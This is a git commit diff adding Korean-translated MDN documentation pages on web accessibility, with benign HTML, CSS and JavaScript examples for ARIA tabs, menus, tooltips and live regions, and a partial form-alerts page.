files/ko/web/xpath/axes/preceding-sibling/index.html create mode 100644 files/ko/web/xpath/axes/preceding/index.html create mode 100644 files/ko/web/xpath/axes/self/index.html create mode 100644 files/ko/web/xpath/functions/boolean/index.html create mode 100644 files/ko/web/xpath/functions/ceiling/index.html create mode 100644 files/ko/web/xpath/functions/concat/index.html create mode 100644 files/ko/web/xpath/functions/contains/index.html create mode 100644 files/ko/web/xpath/functions/count/index.html create mode 100644 files/ko/web/xpath/functions/current/index.html create mode 100644 files/ko/web/xpath/functions/document/index.html create mode 100644 files/ko/web/xpath/functions/element-available/index.html create mode 100644 files/ko/web/xpath/functions/false/index.html create mode 100644 files/ko/web/xpath/functions/floor/index.html create mode 100644 files/ko/web/xpath/functions/format-number/index.html create mode 100644 files/ko/web/xpath/functions/function-available/index.html create mode 100644 files/ko/web/xpath/functions/generate-id/index.html create mode 100644 files/ko/web/xpath/functions/id/index.html create mode 100644 files/ko/web/xpath/functions/index.html create mode 100644 files/ko/web/xpath/functions/key/index.html create mode 100644 files/ko/web/xpath/functions/lang/index.html create mode 100644 files/ko/web/xpath/functions/last/index.html create mode 100644 files/ko/web/xpath/functions/local-name/index.html create mode 100644 files/ko/web/xpath/functions/name/index.html create mode 100644 files/ko/web/xpath/functions/namespace-uri/index.html create mode 100644 files/ko/web/xpath/functions/normalize-space/index.html create mode 100644 files/ko/web/xpath/functions/not/index.html create mode 100644 files/ko/web/xpath/functions/number/index.html create mode 100644 files/ko/web/xpath/functions/position/index.html create mode 100644 files/ko/web/xpath/functions/round/index.html create mode 100644 files/ko/web/xpath/functions/starts-with/index.html create mode 100644 files/ko/web/xpath/functions/string-length/index.html create mode 100644 files/ko/web/xpath/functions/string/index.html create mode 100644 files/ko/web/xpath/functions/substring-after/index.html create mode 100644 files/ko/web/xpath/functions/substring-before/index.html create mode 100644 files/ko/web/xpath/functions/substring/index.html create mode 100644 files/ko/web/xpath/functions/sum/index.html create mode 100644 files/ko/web/xpath/functions/system-property/index.html create mode 100644 files/ko/web/xpath/functions/translate/index.html create mode 100644 files/ko/web/xpath/functions/true/index.html create mode 100644 files/ko/web/xpath/functions/unparsed-entity-url/index.html create mode 100644 files/ko/web/xpath/index.html create mode 100644 files/ko/web/xslt/apply-imports/index.html create mode 100644 files/ko/web/xslt/apply-templates/index.html create mode 100644 files/ko/web/xslt/attribute-set/index.html create mode 100644 files/ko/web/xslt/attribute/index.html create mode 100644 files/ko/web/xslt/call-template/index.html create mode 100644 files/ko/web/xslt/choose/index.html create mode 100644 files/ko/web/xslt/comment/index.html create mode 100644 files/ko/web/xslt/copy-of/index.html create mode 100644 files/ko/web/xslt/copy/index.html create mode 100644 files/ko/web/xslt/decimal-format/index.html create mode 100644 files/ko/web/xslt/element/element/index.html create mode 100644 files/ko/web/xslt/element/index.html create mode 100644 files/ko/web/xslt/fallback/index.html create mode 100644 files/ko/web/xslt/for-each/index.html create mode 100644 files/ko/web/xslt/if/index.html create mode 100644 files/ko/web/xslt/import/index.html create mode 100644 files/ko/web/xslt/include/index.html create mode 100644 files/ko/web/xslt/index.html create mode 100644 files/ko/web/xslt/key/index.html create mode 100644 files/ko/web/xslt/message/index.html create mode 100644 files/ko/web/xslt/namespace-alias/index.html create mode 100644 files/ko/web/xslt/number/index.html create mode 100644 files/ko/web/xslt/otherwise/index.html create mode 100644 files/ko/web/xslt/output/index.html create mode 100644 files/ko/web/xslt/param/index.html create mode 100644 files/ko/web/xslt/preserve-space/index.html create mode 100644 files/ko/web/xslt/processing-instruction/index.html create mode 100644 files/ko/web/xslt/sort/index.html create mode 100644 files/ko/web/xslt/strip-space/index.html create mode 100644 files/ko/web/xslt/stylesheet/index.html create mode 100644 files/ko/web/xslt/template/index.html create mode 100644 files/ko/web/xslt/text/index.html create mode 100644 files/ko/web/xslt/the_xslt_javascript_interface_in_gecko/index.html create mode 100644 files/ko/web/xslt/the_xslt_javascript_interface_in_gecko/introduction/index.html create mode 100644 files/ko/web/xslt/the_xslt_javascript_interface_in_gecko/setting_parameters/index.html create mode 100644 files/ko/web/xslt/transform/index.html create mode 100644 files/ko/web/xslt/transforming_xml_with_xslt/index.html create mode 100644 files/ko/web/xslt/transforming_xml_with_xslt/the_netscape_xslt_xpath_reference/index.html create mode 100644 files/ko/web/xslt/using_the_mozilla_javascript_interface_to_xsl_transformations/index.html create mode 100644 files/ko/web/xslt/value-of/index.html create mode 100644 files/ko/web/xslt/variable/index.html create mode 100644 files/ko/web/xslt/when/index.html create mode 100644 files/ko/web/xslt/with-param/index.html create mode 100644 "files/ko/web/\354\260\270\354\241\260/api/index.html" create mode 100644 "files/ko/web/\354\260\270\354\241\260/index.html" (limited to 'files/ko/web') diff --git a/files/ko/web/accessibility/an_overview_of_accessible_web_applications_and_widgets/index.html b/files/ko/web/accessibility/an_overview_of_accessible_web_applications_and_widgets/index.html new file mode 100644 index 0000000000..8c53f2148f --- /dev/null +++ b/files/ko/web/accessibility/an_overview_of_accessible_web_applications_and_widgets/index.html @@ -0,0 +1,222 @@ +--- +title: An overview of accessible web applications and widgets +slug: Web/Accessibility/An_overview_of_accessible_web_applications_and_widgets +translation_of: Web/Accessibility/An_overview_of_accessible_web_applications_and_widgets +--- +

웹은 변화하고 있습니다. 페이지 중심의 정적이던 사이트들은 동적으로 변화하고 있고, 데스크톱 웹 어플리케이션들이 JS와 AJAX를 중점으로 사용하며 제작되고 있습니다. 디자이너들은 새로운 위젯들과 컨트롤을 한결같이 JavaScript, HTML, CSS를 조합해서 만들고 있습니다. 이런 변화는 사용성과 반응형 향상에는 극적으로 도움을 주지만, 또 다른 많은 유저들은 접근성 격차로 인해 제약이 발생하는 리스크도 안고 있습니다. JavaScript는 스크린리더 같은 보조기술을 사용하는 유저들이 접근하기 힘들다고 알려져 있었습니다. 하지만 현재는 다양한 사용자가 접근할 수 있는 동적 웹 어플리케이션을 만들 수 있습니다.

+ +

문제

+ +

대부분의 자바스크립트 개발도구는 데스크톱 인터페이스의 동작을 유사하게 만들 수 있도록 클라이언트-사이드 위젯 라이브러리를 제공하고 있습니다. Slider, Menu bar, Filelist View 등을 JavaScript, CSS, HTML을 이용해서 만들 수  있습니다. HTML4 명세가 나왔을 때는 HTML 태그에서 이런 위젯들의 설명이 제공되지 않았으며, 개발자들은 보통 <div>나 <span>같은 것들을 활용하여 개발하였습니다. 이런 시대의 결과로 데스크톱 위젯들은 충분한 정보를 제공하지 못하였으며 이는 기술적으로 전혀 도움이 되지 않았습니다. 동적 콘텐츠는 이유가 어떻든 스크린을 보지 못하는 사람에게 문제가 되었습니다. 주식 시세 표시 위젯, 트위터 라이브 피드 갱신, 프로그레스바 같은 것들을 보조공학기술(AT)로 인식하지 못하는 경우가 많았습니다. ARIA가 필요한 이유가 여기에 있습니다. 

+ +

Example 1: 탭 위젯을 ARIA 레이블링 없이 만든 마크업. 마크업에서 위젯의 폼과 동작에 대해 설명하고 있지 않습니다.

+ +
<!-- 탭 위젯을 위한 코드입니다. 어떻습니까? 마크업만 보고서 가늠이 되나요? -->
+<ol>
+  <li id="ch1Tab">
+    <a href="#ch1Panel">Chapter 1</a>
+  </li>
+  <li id="ch2Tab">
+    <a href="#ch2Panel">Chapter 2</a>
+  </li>
+  <li id="quizTab">
+    <a href="#quizPanel">Quiz</a>
+  </li>
+</ol>
+
+<div>
+  <div id="ch1Panel">Chapter 1 content goes here</div>
+  <div id="ch2Panel">Chapter 2 content goes here</div>
+  <div id="quizPanel">Quiz content goes here</div>
+</div>
+ +

Example 2: 탭 위젯의 렌더링 화면. 유저는 비주얼로 확인 가능하지만, 보조기술과 같은 기계들은 읽지 못합니다.
+ Screenshot of the tabs widget

+ +

ARIA

+ +

Accessible Rich Internet Applications(WAI-ARIA)는 W3C의 Web Accessibility Initiative에서 제작하고, 스크린리더 같은 보조기기에서 필요한 정보들을 추가하는 방법을 제공합니다. ARIA는 마크업에서 특별한 속성을 추가하여 개발자들이 위젯의 디테일한 정보를 제공할 때 사용합니다. 동적 웹 어플리케이션에서 찾을 수 있는 데스크톱 스타일 콘트롤과 표준 HTML 태그 사이에 있는 차이를 채우기 위해, ARIA는 친숙한 UI 위젯의 동작 상태(state)와 역할(Role)에 대한 설명을 제공합니다.

+ +

ARIA는 다른 타입의 속성 세개 roles, states, properties를 분할하여 정의하고 있습니다. Roles는 slider, menu bar, dialog와 같은 HTML4에서 사용하지 못하는 위젯을 설명합니다. Properties는 드래그가 가능하다는 것이나, 요소가 필요하다는 것이나, 팝업이 뜨는 것과 같은 위젯의 특징에 대해 설명합니다. State는 요소의 현재 상태에 대해 설명합니다. 이 정보는 보조기기에서 요소의 접근이 불가하거나, 숨겨져 있는 상태라는 것을 명시합니다.

+ +

ARIA attributes are designed to be interpreted automatically by the browser and translated to the operating system's native accessibility APIs. When ARIA is present, assistive technologies are able to recognize and interact with custom JavaScript controls in the same way that they do with desktop equivalents. This has the potential for providing a much more consistent user experience than was possible in the previous generation of web applications, since assistive technology users can apply all of their knowledge of how desktop applications work when they are using web-based applications.

+ +

Example 3: Markup for the tabs widget with ARIA attributes added.

+ +
<!-- Now *these* are Tabs! -->
+<!-- We've added role attributes to describe the tab list and each tab. -->
+<ol role="tablist">
+  <li id="ch1Tab" role="tab">
+    <a href="#ch1Panel">Chapter 1</a>
+  </li>
+  <li id="ch2Tab" role="tab">
+    <a href="#ch2Panel">Chapter 2</a>
+  </li>
+  <li id="quizTab" role="tab">
+    <a href="#quizPanel">Quiz</a>
+  </li>
+</ol>
+
+<div>
+  <!-- Notice the role and aria-labelledby attributes we've added to describe these panels. -->
+  <div id="ch1Panel" role=”tabpanel” aria-labelledby="ch1Tab">Chapter 1 content goes here</div>
+  <div id="ch2Panel" role=”tabpanel” aria-labelledby="ch2Tab">Chapter 2 content goes here</div>
+  <div id="quizPanel" role=”tabpanel” aria-labelledby="quizTab">Quiz content goes here</div>
+</div>
+
+ +

ARIA는 Firefox, Safari, Opera, Chrome 및 Internet Explorer를 포함한 모든 주요 브라우저의 최신 버전에서 지원됩니다. 오픈 소스 NVDA(NonVisual Desktop Access) 및 Orca 스크린 리더와 같은 많은 보조 기술도 ARIA를 지원합니다. 점차적으로 jQuery UI, YUI, Google Closure, Dojo Dijit과 같은 JavaScript 위젯 라이브러리에 ARIA 마크 업도 포함됩니다.

+ +

Presentational changes

+ +

Dynamic presentational changes include using CSS to change the appearance of content (such as a red border around invalid data, or changing the background colour of a checked checkbox), as well as showing or hiding content.

+ +

State changes

+ +

ARIA provides attributes for declaring the current state of a UI widget. Examples include (but are certainly not limited to):

+ + + +

(For a full list of ARIA states, consult the ARIA list of states and properties.)

+ +

Developers should use ARIA states to indicate the state of UI widget elements and use CSS attribute selectors to alter the visual appearance based on the state changes (rather than using script to change a class name on the element).

+ +

The Open Ajax Alliance website provides an example of CSS attribute selectors based on ARIA states. The example shows a WYSIWYG editor interface with a dynamic menu system. Items currently selected in a menu, such as the font face, are visually distinguished from other items. The relevant parts of the example are explained below.

+ +

In this example, the HTML for a menu has the form shown in Example 1a. Note how, on lines 7 and 13, the aria-checked property is used to declare the selection state of the menu items.

+ +

Example 1a. HTML for a selectable menu (adapted from http://www.oaa-accessibility.org/example/25/).

+ +
<ul id="fontMenu" class="menu" role="menu" aria-hidden="true">
+  <li id="sans-serif"
+      class="menu-item"
+      role="menuitemradio"
+      tabindex="-1"
+      aria-controls="st1"
+      aria-checked="true">Sans-serif</li>
+  <li id="serif"
+      class="menu-item"
+      role="menuitemradio"
+      tabindex="-1"
+      aria-controls="st1"
+      aria-checked="false">Serif</li>
+  ...
+
+ +

The CSS that is used to alter the visual appearance of the selected item is shown in Example 1b. Note that there is no custom classname used, only the status of the aria-checked attribute on line 1.

+ +

Example 1b. Attribute-based selector for indicating state (from http://www.oaa-accessibility.org/example/25/).

+ +
li[aria-checked="true"] {
+  font-weight: bold;
+  background-image: url('images/dot.png');
+  background-repeat: no-repeat;
+  background-position: 5px 10px;
+}
+
+ +

The JavaScript to update the aria-checked property has the form shown in Example 1c. Note that the script only updates the aria-checked attribute (lines 3 and 8); it does not need to also add or remove a custom classname.

+ +

Example 1c. JavaScript to update the aria-checked attribute (based on http://www.oaa-accessibility.org/example/25/).

+ +
var processMenuChoice = function(item) {
+  // 'check' the selected item
+  item.setAttribute('aria-checked', 'true');
+  // 'un-check' the other menu items
+  var sib = item.parentNode.firstChild;
+  for (; sib; sib = sib.nextSibling ) {
+    if ( sib.nodeType === 1 && sib !== item ) {
+      sib.setAttribute('aria-checked', 'false');
+    }
+  }
+};
+
+ +

Visibility changes

+ +

When content visibility is changed (i.e. an element is hidden or shown), developers should change the aria-hidden property value. The techniques described above should be used to declare CSS to visually hide an element using display:none.

+ +

The Open Ajax Alliance website provides an example of a tooltip that uses aria-hidden to control the visibility of the tooltip. The example shows a simple web form with tooltips containing instructions associated with the entry fields. The relevant parts of the example are explained below.

+ +

In this example, the HTML for the tooltip has the form shown in Example 2a. Line 9 sets the aria-hidden state to true.

+ +

Example 2a. HTML for a tooltip (adapted from http://www.oaa-accessibility.org/example/39/).

+ +
<div class="text">
+    <label id="tp1-label" for="first">First Name:</label>
+    <input type="text" id="first" name="first" size="20"
+           aria-labelledby="tp1-label"
+           aria-describedby="tp1"
+           aria-required="false" />
+    <div id="tp1" class="tooltip"
+         role="tooltip"
+         aria-hidden="true">Your first name is a optional</div>
+</div>
+
+ +

The CSS for this markup is shown in Example 2b. Note that there is no custom classname used, only the status of the aria-hidden attribute on line 1.

+ +

Example 2b. Attribute-based selector for indicating state (from http://www.oaa-accessibility.org/example/39/).

+ +
div.tooltip[aria-hidden="true"] {
+  display: none;
+}
+
+ +

The JavaScript to update the aria-hidden property has the form shown in Example 2c. Note that the script only updates the aria-hidden attribute (line 2); it does not need to also add or remove a custom classname.

+ +

Example 2c. JavaScript to update the aria-checked attribute (based on http://www.oaa-accessibility.org/example/39/).

+ +
var showTip = function(el) {
+  el.setAttribute('aria-hidden', 'false');
+}
+ +

Role changes

+ +
Under construction
+ +

ARIA allows developers to declare a semantic role for an element that otherwise offers incorrect or no semantics. For example, when an unordered list is used to create a menu, the {{ HTMLElement("ul") }} should be given a role of menubar and each {{ HTMLElement("li") }} should be given a role of menuitem.

+ +

The role of an element should not change. Instead, remove the original element and replace it with an element with the new role.

+ +

For example, consider an "inline edit" widget: a component that allows users to edit a piece of text in place, without switching contexts. This component has a "view" mode, in which the text is not editable, but is activatable, and an "edit" mode, in which the text can be edited. A developer might be tempted to implement the "view" mode using a read-only text  {{ HTMLElement("input") }} element and setting its ARIA role to button, then switching to "edit" mode by making the element writable and removing the role attribute in "edit" mode (since {{ HTMLElement("input") }} elements have their own role semantics).

+ +

Do not do this. Instead, implement the "view" mode using a different element altogether, such as a {{ HTMLElement("div") }} or {{ HTMLElement("span") }} with a role of button, and the "edit" mode using a text  {{ HTMLElement("input") }} element.

+ +

Asynchronous content changes

+ +
Under construction. See also Live Regions
+ +

Keyboard navigation

+ +

Often times developers overlook support for the keyboard when they create custom widgets. To be accessible to a variety of users, all features of a web application or widget should also be controllable with the keyboard, without requiring a mouse. In practice, this usually involves following the conventions supported by similar widgets on the desktop, taking full advantage of the Tab, Enter, Spacebar, and arrow keys.

+ +

Traditionally, keyboard navigation on the web has been limited to the Tab key. A user presses Tab to focus each link, button, or form on the page in a linear order, using Shift-Tab to navigate backwards. It's a one-dimensional form of navigation—forward and back, one element at a time. On fairly dense pages, a keyboard-only user often has to press the Tab key dozens of times before they can access the section they need. Implementing desktop-style keyboard conventions on the web has the potential to significantly speed up navigation for many users.

+ +

Here's a summary of how keyboard navigation should work in an ARIA-enabled web application:

+ + + +

So, for the Tabs widget example above, the user should be able to navigate into and out of the widget's container (the <ol> in our markup) using the Tab and Shift-Tab keys. Once keyboard focus is inside the container, the arrow keys should allow the user to navigate between each tab (the <li> elements). From here, conventions vary from platform to platform. On Windows, the next tab should automatically be activated when the user presses the arrow keys. On Mac OS X, the user can press either Enter or the Spacebar to activate the next tab. An in-depth tutorial for creating Keyboard-navigable JavaScript widgets describes how to implement this behavior with JavaScript.

+ +

For more detail about desktop-style keyboard navigation conventions, a comprehensive DHTML style guide is available. It provides an overview of how keyboard navigation should work for each type of widget supported by ARIA. The W3C also offers a helpful ARIA Best Practices document that includes keyboard navigation and shortcut conventions for a variety of widgets. 

+ +

See also

+ + diff --git a/files/ko/web/accessibility/aria/aria_live_regions/index.html b/files/ko/web/accessibility/aria/aria_live_regions/index.html new file mode 100644 index 0000000000..c609e9698f --- /dev/null +++ b/files/ko/web/accessibility/aria/aria_live_regions/index.html @@ -0,0 +1,255 @@ +--- +title: ARIA live regions +slug: Web/Accessibility/ARIA/ARIA_Live_Regions +translation_of: Web/Accessibility/ARIA/ARIA_Live_Regions +--- +

JavaScript를 이용하면, 전체 페이지를 다시 로드할 필요 없이 페이지의 일부를 동적으로 변경하는 것이 가능합니다. 예를 들면, 검색 결과 리스트를 즉시 업데이트 하거나, 사용자 상호 작용이 필요 없는 경고 또는 알림을 표시합니다. 이러한 변경사항들은 일반적으로 페이지를 볼 수 있는 사용자에게 시각적으로 분명하게 보이지만, 보조과학기술 사용자들에겐 분명하지 않을 수 있습니다. ARIA live regions은 이 간격을 메우고, 보조과학기술에 의해 발표될 수 있는 방식으로 동적 컨텐츠 변화들을 프로그래밍 방식으로 노출할 수 있는 방법을 제공합니다.

+ +
+

Note: 보조과학기술은 live region 컨텐츠에 동적인  변화를 발표할 것입니다.

+ +

Including an aria-live attribute or a specialized live region role (such as role="alert") on the element you want to announce changes to works as long as you add the attribute before the changes occur — either in the original markup, or dynamically using JavaScript.

+
+ +

간단한 live regions

+ +

페이지를 재로드 없이 업데이트 되는 동적 컨텐츠는 일반적으로 영역 또는 위젯입니다. 대화형 컨텐츠가 아닌 단순 컨텐츠 변경은 live regions 으로 표시해야만 합니다. 아래는 관련 ARIA live region 속성에 관한 리스트와 설명입니다.

+ +
    +
  1. aria-live: aria-live=POLITENESS_SETTING는 스크린 리더가 live regions에 대한 업데이트를 처리할때 우선 순위를 설정하는 데 사용되며, 가능한 세팅으로 off, politeassertive가 있습니다. 기본 설정은 off입니다. 이 속성은 단연코 가장 중요합니다.
  2. +
  3. +

    aria-controls: The aria-controls=[IDLIST] is used to associate a control with the regions that it controls. Regions are identified just like an id in a div, and multiple regions can be associated with a control using a space, e.g. aria-controls="myRegionID1 myRegionsID2".

    + +
    Not known if the aria-controls aspect of live regions is implemented in current ATs, or which. Needs research.
    +
  4. +
+ +

Normally, only aria-live="polite" is used. Any region which receives updates that are important for the user to receive, but not so rapid as to be annoying, should receive this attribute. The screen reader will speak changes whenever the user is idle.

+ +

For regions which are not important, or would be annoying because of rapid updates or other reasons, silence them with aria-live="off".

+ + + +

A website specializing in providing information about planets provides a dropdown box. When a planet is selected from the dropdown, a region on the page is updated with information about the selected planet.

+ +

HTML

+ +
<fieldset>
+  <legend>Planet information</legend>
+  <label for="planetsSelect">Planet:</label>
+  <select id="planetsSelect" aria-controls="planetInfo">
+    <option value="">Select a planet&hellip;</option>
+    <option value="mercury">Mercury</option>
+    <option value="venus">Venus</option>
+    <option value="earth">Earth</option>
+    <option value="mars">Mars</option>
+  </select>
+  <button id="renderPlanetInfoButton">Go</button>
+</fieldset>
+
+<div role="region" id="planetInfo" aria-live="polite">
+  <h2 id="planetTitle">No planet selected</h2>
+  <p id="planetDescription">Select a planet to view its description</p>
+</div>
+
+<p><small>Information courtesy <a href="https://en.wikipedia.org/wiki/Solar_System#Inner_Solar_System">Wikipedia</a></small></p>
+
+ +

JavaScript

+ +
const PLANETS_INFO = {
+  mercury: {
+    title: 'Mercury',
+    description: 'Mercury is the smallest and innermost planet in the Solar System. It is named after the Roman deity Mercury, the messenger to the gods.'
+  },
+
+  venus: {
+    title: "Venus",
+    description: 'Venus is the second planet from the Sun. It is named after the Roman goddess of love and beauty.'
+  },
+
+  earth: {
+    title: "Earth",
+    description: 'Earth is the third planet from the Sun and the only object in the Universe known to harbor life.'
+  },
+
+  mars: {
+    title: "Mars",
+    description: 'Mars is the fourth planet from the Sun and the second-smallest planet in the Solar System after Mercury. In English, Mars carries a name of the Roman god of war, and is often referred to as the "Red Planet".'
+  }
+};
+
+function renderPlanetInfo(planet) {
+  const planetTitle = document.querySelector('#planetTitle');
+  const planetDescription = document.querySelector('#planetDescription');
+
+  if (planet in PLANETS_INFO) {
+    planetTitle.textContent = PLANETS_INFO[planet].title;
+    planetDescription.textContent = PLANETS_INFO[planet].description;
+  } else {
+    planetTitle.textContent = 'No planet selected';
+    planetDescription.textContent = 'Select a planet to view its description';
+  }
+}
+
+const renderPlanetInfoButton = document.querySelector('#renderPlanetInfoButton');
+
+renderPlanetInfoButton.addEventListener('click', event => {
+  const planetsSelect = document.querySelector('#planetsSelect');
+  const selectedPlanet = planetsSelect.options[planetsSelect.selectedIndex].value;
+
+  renderPlanetInfo(selectedPlanet);
+});
+
+ +

{{EmbedLiveSample('Dropdown_box_updates_useful_onscreen_information', '', 350)}}

+ +

As the user selects a new planet, the information in the live region will be announced. Because the live region has aria-live="polite", the screen reader will wait until the user pauses before announcing the update. Thus, moving down in the list and selecting another planet will not announce updates in the live region. Updates in the live region will only be announced for the planet finally chosen.

+ +

Here is a screenshot of VoiceOver on Mac announcing the update (via subtitles) to the live region:

+ +

A screenshot of VoiceOver on Mac announcing the update to a live region. Subtitles are shown in the picture.

+ +

Preferring specialized live region roles

+ +

In the following well-known predefined cases it is better to use a specific provided "live region role":

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
RoleDescriptionCompatibility Notes
logChat, error, game or other type of logTo maximize compatibility, add a redundant aria-live="polite" when using this role.
statusA status bar or area of the screen that provides an updated status of some kind. Screen reader users have a special command to read the current status.To maximize compatibility, add a redundant aria-live="polite" when using this role.
alertError or warning message that flashes on the screen. Alerts are particularly important for client side validation notices to users. (TBD: link to ARIA form tutorial with aria info)To maximize compatibility, some people recommend adding a redundant aria-live="assertive" when using this role. However, adding both aria-live and role="alert" causes double speaking issues in VoiceOver on iOS.
progressbarA hybrid between a widget and a live region. Use this with aria-valuemin, aria-valuenow and aria-valuemax. (TBD: add more info here).
marqueefor text which scrolls, such as a stock ticker.
timeror any kind of timer or clock, such as a countdown timer or stopwatch readout.
+ +

Advanced live regions

+ +

(TBD: more granular information on the support of the individual attributes with combinations of OS/Browser/AT).

+ +

General support for Live Regions was added to JAWS on version 10.0. In Windows Eyes supports Live Regions since version 8.0 "for use outside of Browse Mode for Microsoft Internet Explorer and Mozilla Firefox". NVDA added some basic support for Live Regions for Mozilla Firefox back in 2008 and was improved in 2010 and 2014. In 2015, basic support was also added for Internet Explorer (MSHTML).

+ +

The Paciello Group has some information about the state of the support of Live Regions (2014). Paul J. Adam has researched the support of Aria-Atomic and Aria-Relevant in particular. 

+ +
    +
  1. aria-atomic: The aria-atomic=BOOLEAN is used to set whether or not the screen reader should always present the live region as a whole, even if only part of the region changes. The possible settings are: false or true. The default setting is false.
  2. +
  3. aria-relevant: The aria-relevant=[LIST_OF_CHANGES] is used to set what types of changes are relevant to a live region. The possible settings are one or more of: additions, removalstext, all. The default setting is: additions text.
  4. +
  5. aria-labelledby: The aria-labelledby=[IDLIST] is used to associate a region with its labels, similar to aria-controls but instead associating labels to the region. and label identifiers are separated with a space.
  6. +
  7. aria-describedby: The aria-describedby=[IDLIST] is used to associate a region with its descriptions, similar to aria-controls but instead associating descriptions to the region and description identifiers are separated with a space.
  8. +
+ +

Advanced use case: Clock

+ +

As an illustration of aria-atomic, consider a site with a simple clock, showing hours and minutes. The clock is updated each minute, with the new remaining time simply overwriting the current content.

+ +
<div id="clock" role="timer" aria-live="polite"></div>
+
+ +
/* basic JavaScript to update the clock */
+
+setInterval(function() {
+  var now = new Date();
+  document.getElementById('clock').innerHTML = "Time: " + now.getHours() + ":" + ("0"+now.getMinutes()).substr(-2);
+}, 60000);
+
+ +

The first time the function executes, the entirety of the string that is added will be announced. On subsequent calls, only the parts of the content that changed compared to the previous content will be announced. For instance, when the clock changes from "17:33" to "17:34", assistive technologies will only announce "4", which won't be very useful to users.

+ +

One way around this would be to first clear the contents of the live region, and then inject the new content. However, this can sometimes be unreliable, as it's dependent on the exact timing of these two updates.

+ +

aria-atomic="true" ensures that each time the live region is updated, the entirety of the content is announced in full (e.g. "Time: 17:34").

+ +
<div id="clock" role="timer" aria-live="polite" aria-atomic="true"></div>
+
+ +
+

Note: As observed, setting/updating the innerHTML again would cause the whole text to be read again, whether or not you set aria-atomic="true", so the above Clock example does not work as expected.

+
+ +

A working example of a simple year control for better understanding:

+ +
<div id="date-input">
+  <label>Year:
+    <input type="text" id="year" value="1990" onblur="change(event)"/>
+  </label>
+</div>
+
+<div id="date-output" aria-live="polite">
+  The set year is:
+  <span id="year-output">1990</span>
+</div>
+ +

+ +
function change(event) {
+  var yearOut = document.getElementById("year-output");
+  switch (event.target.id) {
+    case "year":
+      yearOut.innerHTML = event.target.value;
+      break;
+   default:
+      return;
+  }
+};
+ +

+ +

Without aria-atomic="true" the screenreader announces only the changed value of year.

+ +

With aria-atomic="true", the screenreader announces "The set year is: changedvalue"

+ +

Advanced use case: Roster

+ +

A chat site would like to display a list of users currently logged in. Display a list of users where a user's log-in and log-out status will be reflected dynamically (without a page reload).

+ +
<ul id="roster" aria-live="polite" aria-relevant="additions removals">
+	<!-- use JavaScript to add remove users here-->
+</ul>
+
+ +

Breakdown of ARIA live properties:

+ + + +

See also

+ + diff --git a/files/ko/web/accessibility/aria/aria_techniques/index.html b/files/ko/web/accessibility/aria/aria_techniques/index.html new file mode 100644 index 0000000000..c628a228e1 --- /dev/null +++ b/files/ko/web/accessibility/aria/aria_techniques/index.html @@ -0,0 +1,213 @@ +--- +title: 'ARIA 사용하기: 규칙, 상태, 속성' +slug: Web/Accessibility/ARIA/ARIA_Techniques +tags: + - ARIA + - Accessibility + - Overview + - Reference +translation_of: Web/Accessibility/ARIA/ARIA_Techniques +--- +

ARIA defines semantics that can be applied to elements, with these divided into roles (defining a type of user interface element) and states and properties that are supported by a role. Authors must assign an ARIA role and the appropriate states and properties to an element during its life-cycle, unless the element already has appropriate ARIA semantics (via use of an appropriate HTML element). Addition of ARIA semantics only exposes extra information to a browser's accessibility API, and does not affect a page's DOM.

+ +

Roles

+ +

Widget roles

+ +
+ +
+ +

Composite roles

+ +

The techniques below describe each composite role as well as their required and optional child roles.

+ +
+ +
+ +

Document structure roles

+ +
+ +
+ +

Landmark roles

+ +
+ +
+ +

Live Region Roles

+ +
+ +
+ +

Window Roles

+ +
+ +
+ +

States and properties

+ +

Widget attributes

+ +
+ +
+ +

Live region attributes

+ +
+ +
+ +

Drag & drop attributes

+ +
+ +
+ +

Relationship attributes

+ +
+ +
+ +

MicrosoftEdge-specific properties

+ +
+ +
diff --git a/files/ko/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.html b/files/ko/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.html new file mode 100644 index 0000000000..d667416f9d --- /dev/null +++ b/files/ko/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.html @@ -0,0 +1,66 @@ +--- +title: aria-label 속성 사용 +slug: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute +tags: + - ARIA + - Accessibility + - aria-label +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute +--- +

aria-label 속성은 현재 요소에 레이블을 정의하기 위해서 사용합니다. 텍스트 레이블이 화면에 표시되지 않을 때에 사용하세요. 만약에 요소에 레이블을 정의하는 화면에 보이는 텍스트가 있다면  aria-labelledby을 대신 사용하세요

+ +

이 속성은 일반적인 HTML 요소와 함께 사용할 수 있습니다. ARIA role 이 적용된 요소에만 한정되지 않습니다.

+ +

+ +

문자열

+ +

사용자 에이전트와 보조도구에 대한 영향

+ +
+

Edit section

+
+ +
참고: 보조기기가 이 기술을 처리하는 방법에 대한 의견에는 차이가 있을 수 있습니다. 위에서 제공하는 정보는 그러한 의견 중 하나일 뿐 규범이 아닙니다. 
+ +

+ +
+

예 1: 다수의 레이블

+ +

아래의 예제에서 버튼은 X가 가운데있는 전형적인 "닫기" 버튼처럼 스타일됩니다. 버튼의 목적이 대화상자를 닫는 것임을 암시하는 것이 없으므로 보조기기에 레이블을 제공하기 위해 aria-label 를 사용합니다.

+
+ +
<button aria-label="Close" onclick="myDialog.close()">X</button>
+
+ +

동작하는 예:

+ +

 

+ +

주의

+ + + +

Used by ARIA roles

+ +

베이스 마크업의 모든 요소

+ +

관련된 ARIA 기술

+ + + +

적합성

+ +

TBD: 일반적인 UA와 AT 제품 조합을 위한 서포트 정보를 추가합니다.

+ +

추가 리소스

+ + diff --git a/files/ko/web/accessibility/aria/forms/alerts/index.html b/files/ko/web/accessibility/aria/forms/alerts/index.html new file mode 100644 index 0000000000..072f9443b7 --- /dev/null +++ b/files/ko/web/accessibility/aria/forms/alerts/index.html @@ -0,0 +1,146 @@ +--- +title: Alerts +slug: Web/Accessibility/ARIA/forms/alerts +tags: + - ARIA + - Forms + - Web + - 접근성 +translation_of: Web/Accessibility/ARIA/forms/alerts +--- +

문제점

+ +

엑세스 가능한 오류 검사를 포함하고 싶은 폼, 예를 들어 콘택트 폼이 있습니다. 자주 있는 문제점으로는 Email이 유효하지 않거나, 이름 필드에 성이나 이름이 포함되지 않은 것이 있습니다.

+ +

+ +

우선 aria-required 기술을 읽지 않았다면 먼저 읽어주세요. 여기서는 그것의 확장된 내용을 다룹니다. 

+ +

여기에 샘플 폼이 있습니다:

+ +
 <form method="post" action="post.php">
+   <fieldset>
+     <legend>Please enter your contact details</legend>
+     <label for="name">Your name (required):</label>
+     <input name="name" id="name" aria-required="true"/>
